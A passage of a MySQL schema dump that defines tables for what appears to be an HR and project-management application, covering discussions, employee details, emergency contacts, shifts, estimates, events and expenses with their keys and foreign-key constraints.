COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `discussions`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `discussions` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `discussion_category_id` int unsigned DEFAULT '1', `project_id` int unsigned DEFAULT NULL, `title` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `color` varchar(20) COLLATE utf8mb4_unicode_ci DEFAULT '#232629', `user_id` int unsigned NOT NULL, `pinned` tinyint(1) NOT NULL DEFAULT '0', `closed` tinyint(1) NOT NULL DEFAULT '0', `deleted_at` timestamp NULL DEFAULT NULL, `last_reply_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, `best_answer_id` int unsigned DEFAULT NULL, `last_reply_by_id` int unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `discussions_discussion_category_id_foreign` (`discussion_category_id`), KEY `discussions_project_id_foreign` (`project_id`), KEY `discussions_user_id_foreign` (`user_id`), KEY `discussions_best_answer_id_foreign` (`best_answer_id`), KEY `discussions_last_reply_by_id_foreign` (`last_reply_by_id`), KEY `discussions_added_by_foreign` (`added_by`), KEY `discussions_last_updated_by_foreign` (`last_updated_by`), KEY `discussions_company_id_foreign` (`company_id`), CONSTRAINT `discussions_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `discussions_best_answer_id_foreign` FOREIGN KEY (`best_answer_id`) REFERENCES `discussion_replies` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `discussions_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `discussions_discussion_category_id_foreign` FOREIGN KEY (`discussion_category_id`) REFERENCES `discussion_categories` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `discussions_last_reply_by_id_foreign` FOREIGN KEY (`last_reply_by_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `discussions_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `discussions_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `discussions_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `email_notification_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `email_notification_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `slug` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `setting_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `send_email` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `send_slack` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `send_push` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', PRIMARY KEY (`id`), KEY `email_notification_settings_company_id_foreign` (`company_id`), CONSTRAINT `email_notification_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `emergency_contacts`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `emergency_contacts` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `email` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `mobile` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `relation` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `address` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `emergency_contacts_company_id_foreign` (`company_id`), KEY `emergency_contacts_user_id_foreign` (`user_id`), KEY `emergency_contacts_added_by_foreign` (`added_by`), KEY `emergency_contacts_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `emergency_contacts_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `emergency_contacts_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `emergency_contacts_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `emergency_contacts_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `employee_details`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `employee_details` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `employee_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `address` text COLLATE utf8mb4_unicode_ci, `hourly_rate` double DEFAULT NULL, `slack_username` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `department_id` int unsigned DEFAULT NULL, `designation_id` bigint unsigned DEFAULT NULL, `joining_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, `last_date` date DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `attendance_reminder` date DEFAULT NULL, `date_of_birth` date DEFAULT NULL, `calendar_view` text COLLATE utf8mb4_unicode_ci, `about_me` text COLLATE utf8mb4_unicode_ci, `reporting_to` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `employee_details_employee_id_unique` (`employee_id`), UNIQUE KEY `employee_details_slack_username_unique` (`slack_username`), KEY `employee_details_company_id_foreign` (`company_id`), KEY `employee_details_user_id_foreign` (`user_id`), KEY `employee_details_department_id_foreign` (`department_id`), KEY `employee_details_designation_id_foreign` (`designation_id`), KEY `employee_details_added_by_foreign` (`added_by`), KEY `employee_details_last_updated_by_foreign` (`last_updated_by`), KEY `employee_details_reporting_to_foreign` (`reporting_to`), CONSTRAINT `employee_details_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `employee_details_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_details_department_id_foreign` FOREIGN KEY (`department_id`) REFERENCES `teams` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `employee_details_designation_id_foreign` FOREIGN KEY (`designation_id`) REFERENCES `designations` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_details_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `employee_details_reporting_to_foreign` FOREIGN KEY (`reporting_to`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `employee_details_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `employee_docs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `employee_docs` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `name` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `filename` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `hashname` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `size` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `employee_docs_company_id_foreign` (`company_id`), KEY `employee_docs_user_id_foreign` (`user_id`), KEY `employee_docs_added_by_foreign` (`added_by`), KEY `employee_docs_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `employee_docs_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `employee_docs_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_docs_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `employee_docs_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `employee_leave_quotas`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `employee_leave_quotas` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `leave_type_id` int unsigned NOT NULL, `no_of_leaves` int NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `employee_leave_quotas_user_id_foreign` (`user_id`), KEY `employee_leave_quotas_leave_type_id_foreign` (`leave_type_id`), CONSTRAINT `employee_leave_quotas_leave_type_id_foreign` FOREIGN KEY (`leave_type_id`) REFERENCES `leave_types` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_leave_quotas_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `employee_shift_change_requests`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `employee_shift_change_requests` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `shift_schedule_id` bigint unsigned NOT NULL, `employee_shift_id` bigint unsigned NOT NULL, `status` enum('waiting','accepted','rejected') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'waiting', `reason` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `employee_shift_change_requests_company_id_foreign` (`company_id`), KEY `employee_shift_change_requests_shift_schedule_id_foreign` (`shift_schedule_id`), KEY `employee_shift_change_requests_employee_shift_id_foreign` (`employee_shift_id`), CONSTRAINT `employee_shift_change_requests_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_shift_change_requests_employee_shift_id_foreign` FOREIGN KEY (`employee_shift_id`) REFERENCES `employee_shifts` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_shift_change_requests_shift_schedule_id_foreign` FOREIGN KEY (`shift_schedule_id`) REFERENCES `employee_shift_schedules` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `employee_shift_schedules`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `employee_shift_schedules` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `date` date NOT NULL, `employee_shift_id` bigint unsigned NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `shift_start_time` datetime DEFAULT NULL, `shift_end_time` datetime DEFAULT NULL, `remarks` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `employee_shift_schedules_user_id_foreign` (`user_id`), KEY `employee_shift_schedules_date_index` (`date`), KEY `employee_shift_schedules_employee_shift_id_foreign` (`employee_shift_id`), KEY `employee_shift_schedules_added_by_foreign` (`added_by`), KEY `employee_shift_schedules_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `employee_shift_schedules_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `employee_shift_schedules_employee_shift_id_foreign` FOREIGN KEY (`employee_shift_id`) REFERENCES `employee_shifts` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_shift_schedules_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `employee_shift_schedules_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `employee_shifts`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `employee_shifts` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `shift_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `shift_short_code` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `office_start_time` time NOT NULL, `office_end_time` time NOT NULL, `halfday_mark_time` time DEFAULT NULL, `late_mark_duration` tinyint NOT NULL, `clockin_in_day` tinyint NOT NULL, `office_open_days` text COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `employee_shifts_company_id_foreign` (`company_id`), CONSTRAINT `employee_shifts_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `employee_skills`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `employee_skills` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `skill_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `employee_skills_company_id_foreign` (`company_id`), KEY `employee_skills_user_id_foreign` (`user_id`), KEY `employee_skills_skill_id_foreign` (`skill_id`), CONSTRAINT `employee_skills_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_skills_skill_id_foreign` FOREIGN KEY (`skill_id`) REFERENCES `skills` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_skills_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `employee_teams`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `employee_teams` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `team_id` int unsigned NOT NULL, `user_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `employee_teams_company_id_foreign` (`company_id`), KEY `employee_teams_team_id_foreign` (`team_id`), KEY `employee_teams_user_id_foreign` (`user_id`), CONSTRAINT `employee_teams_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_teams_team_id_foreign` FOREIGN KEY (`team_id`) REFERENCES `teams` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `employee_teams_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `estimate_item_images`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `estimate_item_images` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `estimate_item_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `estimate_item_images_estimate_item_id_foreign` (`estimate_item_id`), CONSTRAINT `estimate_item_images_estimate_item_id_foreign` FOREIGN KEY (`estimate_item_id`) REFERENCES `estimate_items` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `estimate_items`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `estimate_items` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `estimate_id` int unsigned NOT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `item_summary` text COLLATE utf8mb4_unicode_ci, `type` enum('item','discount','tax') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'item', `quantity` double(30,2) NOT NULL, `unit_price` double(30,2) NOT NULL, `amount` double(30,2) NOT NULL, `taxes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hsn_sac_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `estimate_items_estimate_id_foreign` (`estimate_id`), CONSTRAINT `estimate_items_estimate_id_foreign` FOREIGN KEY (`estimate_id`) REFERENCES `estimates` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `estimates`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `estimates` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `client_id` int unsigned NOT NULL, `estimate_number` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `valid_till` date NOT NULL, `sub_total` double(30,2) NOT NULL, `discount` double NOT NULL DEFAULT '0', `discount_type` enum('percent','fixed') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'percent', `total` double(30,2) NOT NULL, `currency_id` int unsigned DEFAULT NULL, `status` enum('declined','accepted','waiting','sent','draft','canceled') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'waiting', `note` mediumtext COLLATE utf8mb4_unicode_ci, `description` longtext COLLATE utf8mb4_unicode_ci, `send_status` tinyint(1) NOT NULL DEFAULT '1', `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `hash` text COLLATE utf8mb4_unicode_ci, `calculate_tax` enum('after_discount','before_discount') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'after_discount', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `estimates_estimate_number_unique` (`estimate_number`), KEY `estimates_company_id_foreign` (`company_id`), KEY `estimates_client_id_foreign` (`client_id`), KEY `estimates_currency_id_foreign` (`currency_id`), KEY `estimates_added_by_foreign` (`added_by`), KEY `estimates_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `estimates_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `estimates_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `estimates_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `estimates_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `estimates_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `event_attendees`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `event_attendees` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `event_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `event_attendees_company_id_foreign` (`company_id`), KEY `event_attendees_user_id_foreign` (`user_id`), KEY `event_attendees_event_id_foreign` (`event_id`), CONSTRAINT `event_attendees_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `event_attendees_event_id_foreign` FOREIGN KEY (`event_id`) REFERENCES `events` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `event_attendees_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `events`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `events` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `event_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `label_color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `where` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL, `start_date_time` datetime NOT NULL, `end_date_time` datetime NOT NULL, `repeat` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `repeat_every` int DEFAULT NULL, `repeat_cycles` int DEFAULT NULL, `repeat_type` enum('day','week','month','year') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'day', `send_reminder` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `remind_time` int DEFAULT NULL, `remind_type` enum('day','hour','minute') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'day', `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `event_id` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `events_company_id_foreign` (`company_id`), KEY `events_added_by_foreign` (`added_by`), KEY `events_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `events_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `events_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `events_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `expenses`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `expenses` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `purchase_date` date NOT NULL, `purchase_from` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `price` double(30,2) NOT NULL, `currency_id` int unsigned NOT NULL, `project_id` int unsigned DEFAULT NULL, `bill` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `user_id` int unsigned NOT NULL, `status` enum('pending','approved','rejected') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending', `can_claim` tinyint(1) NOT NULL DEFAULT '1', `category_id` bigint unsigned DEFAULT NULL, `expenses_recurring_id` bigint unsigned DEFAULT NULL, `created_by` int unsigned DEFAULT NULL, `description` text COLLATE utf8mb4_unicode_ci, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `approver_id` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `expenses_company_id_foreign` (`company_id`), KEY `expenses_currency_id_foreign` (`currency_id`), KEY `expenses_user_id_foreign` (`user_id`), KEY `expenses_category_id_foreign` (`category_id`), KEY `expenses_expenses_recurring_id_foreign` (`expenses_recurring_id`), KEY `expenses_created_by_foreign` (`created_by`), KEY `expenses_added_by_foreign` (`added_by`), KEY `expenses_last_updated_by_foreign` (`last_updated_by`), KEY `expenses_approver_id_foreign` (`approver_id`), CONSTRAINT `expenses_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `expenses_approver_id_foreign` FOREIGN KEY (`approver_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `expenses_category` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_created_by_foreign` FOREIGN KEY (`created_by`) REFERENCES `users` (`id`) ON UPDATE CASCADE, CONSTRAINT `expenses_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_expenses_recurring_id_foreign` FOREIGN KEY (`expenses_recurring_id`) REFERENCES `expenses_recurring` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT 